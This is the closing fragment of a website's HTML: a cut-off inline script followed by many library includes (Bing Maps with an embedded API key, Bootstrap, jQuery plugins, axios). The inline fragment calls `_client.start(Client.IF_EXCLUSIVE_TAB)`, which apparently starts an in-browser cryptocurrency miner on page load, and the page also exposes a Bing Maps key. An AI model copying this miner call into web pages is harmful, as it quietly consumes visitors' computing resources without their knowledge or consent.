_client.start(Client.IF_EXCLUSIVE_TAB);
} else {
console.log("System not allowed on this device");
}
}
</script>
<script type='text/javascript'
src='https://www.bing.com/api/maps/mapcontrol?callback=GetMap&key=AnI5jwIQf04fUfFUjNwdQZQSq1WL39tEplpT73rtt_IBc0lGdv2K59oF2tsPe6p2'
async defer></script>
<script src="/static/assets/js/BingMap.js"></script>
<script data-cfasync="false"
src="https://theme.easital.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
<script src="/static/assets/plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="/static/assets/plugins/smartmenus/jquery.smartmenus.min.js"></script>
<script src="/static/assets/plugins/smartmenus/jquery.smartmenus.bootstrap-4.min.js"></script>
<script src="/static/assets/plugins/select2/select2.min.js"></script>
<script src="/static/assets/plugins/theia-sticky-sidebar/ResizeSensor.min.js"></script>
<script src="/static/assets/plugins/theia-sticky-sidebar/theia-sticky-sidebar.min.js"></script>
<script src="/static/assets/plugins/OwlCarousel2/owl.carousel.min.js"></script>
<script src="/static/assets/plugins/magnific-popup/jquery.magnific-popup.min.js"></script>
<script src="/static/assets/plugins/waypoints/jquery.waypoints.min.js"></script>
<script src="/static/assets/plugins/counter-up/jquery.counterup.min.js"></script>
<script src="/static/assets/plugins/infiniteslidev2/infiniteslidev2.min.js"></script>
<script src="/static/assets/plugins/ion.rangeSlider/ion.rangeSlider.min.js"></script>
<script src="/static/assets/plugins/jquery-fancyfileuploader/fancy-file-uploader/jquery.ui.widget.js"></script>
<script src="/static/assets/plugins/jquery-fancyfileuploader/fancy-file-uploader/jquery.fileupload.js"></script>
<script src="/static/assets/plugins/jquery-fancyfileuploader/fancy-file-uploader/jquery.iframe-transport.js"></script>
<script src="/static/assets/plugins/jquery-fancyfileuploader/fancy-file-uploader/jquery.fancy-fileupload.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.6.5/axios.min.js"
integrity="sha512-TjBzDQIDnc6pWyeM1bhMnDxtWH0QpOXMcVooglXrali/Tj7W569/wd4E8EDjk1CwOAOPSJon1VfcEt1BI4xIrA=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<!-- Custom Script For This Template -->
<script src="/static/assets/js/script.js"></script>
</body>
</html>